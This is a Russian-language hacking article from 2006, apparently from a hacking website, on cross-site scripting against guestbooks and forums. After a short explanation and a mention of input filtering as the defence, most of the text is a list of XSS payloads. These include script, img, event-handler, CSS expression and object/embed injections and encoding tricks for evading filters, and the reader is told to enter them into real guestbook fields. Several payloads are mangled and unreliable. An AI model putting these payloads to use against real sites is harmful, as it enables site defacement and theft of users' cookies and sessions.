Все материалы предоставлены только с ознакомительной целью
Главная — Статьи — Хакинг — XSS
XSS
© Robin_HOOD 08.01.2006 статья не оптимизирована
© Robin_HOOD 08.01.2006 статья не оптимизирована
Межсайтовый скрипинг (Cross Site Scripting - XSS) позволяет злоумышленнику
включать свой HTML код в вашу станицу. Наиболее уязвимы для такого вида атак
являются гостевые книги и форумы, где происходит динамическое формирование
страниц. Возможности кода, который злоумышленник может вставить в код сайта
практически не ограничены, например, вставка тега <img> со ссылкой на скрипт,
который расположен на подконтрольном сайте позволяет собирать различную
информации (например, cookie). Суть атаки выйти за пределы HTML тега, через
специальные символы, и далее внедрять свой код. Выход из тега чаще происходит с
использованием следующих символов ' (одинарная кавычка), " (двойная кавычка),
´ (обратная кавычка), > (знак "больше"). Защита от этого вида атак сводится
к фильтрованию данных отосланных пользователем.
Подробнее с XSS-атаками можно познакомиться по сслыкам:
http://www.bugtraq.ru/library/www/xssanatomy.html
http://www.bugtraq.ru/library/www/advancedxss.html
Как это делают?
Давайте посмотрим на примере гостевых.
В гостевых есть обычно несколько полей, куда можно ввести какие нибудь данные
(имя ник/мыло/пол). Можно попробовать ввести в эти поля какой нить Ява-скрипт
допустим введите во все поля такое:
<script>alert('Админ мешок!')</script>
и если в данной гостевой нету фильтра на спец символы (/<>) то при заходе в эту
гостевую будет выскакивать окно с надписью
Админ мешок!
Но чаще всего существует фильтр на эти символы тогда можно воспользоваться по
другому
<img src=javascript:alert('ok')>
<img src=javascript:alert("ok")>
<img src=javascript:alert(/ok/)>
<img src=javascript:alert("ok")>
<img src=javascript:alert('ok')>
<img src=javascript:a&# 108er
t(& #39ok')>
<a href=javascript:alert(%22ok%22)>click me</a> (только в атрибуте href)
<body onLoad=alert('ok')>
<meta http-equiv=Refresh content=0;url=javascript:alert('ok')>
<image src=1.png onload=alert('ok')>
<image src=javascript:alert('ok')>
<image src="" onerror=alert('ok')>
<hr style=background:url(javascript:alert('ok'))>
<span style=top:expression(alert('ok'))></span>
<span sss="alert();this.sss=null" style=top:expression(eval(this.sss));></span>
(срабатывает только один раз)
<style type="text/css">@import url(javascript:alert('ok'));</style>
<object classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url
value=javascript:alert('ok')></object>
<embed src=javascript:alert('ok');this.avi>
<embed src=javascript:alert('ok');this.wav>
<iframe src=javascript:alert('ok')> (только в IE)
<a href=javascript:alert(%22ok%22)>click me</a> (запуск только при клике по
ссылке)
<a href=javascript:alert('aaa'+eval('alert();i=2+2')+'bbb')>click me</a> (запуск
только при клике по ссылке)
<img src=javascript:alert()>
<img src=vbscript:AleRt()>
<img src=JaVasCriPt:alert()>
<img src=#106#97#118#97#115#99#114#105#112#116:alert()>
<img src=javascript#9:alert()>
<img src=javascript#10:alert()>
<img src=javascript#13:alert()>
<img src="javascript :alert()"> (перед двоеточием - символ табуляции)
<img src="java script:ale rt()"> (внутри слова javascript - символ табуляции и
возврат каретки)
© Robin_HOOD 08.01.2006 статья не оптимизирована

Чё к чему? ...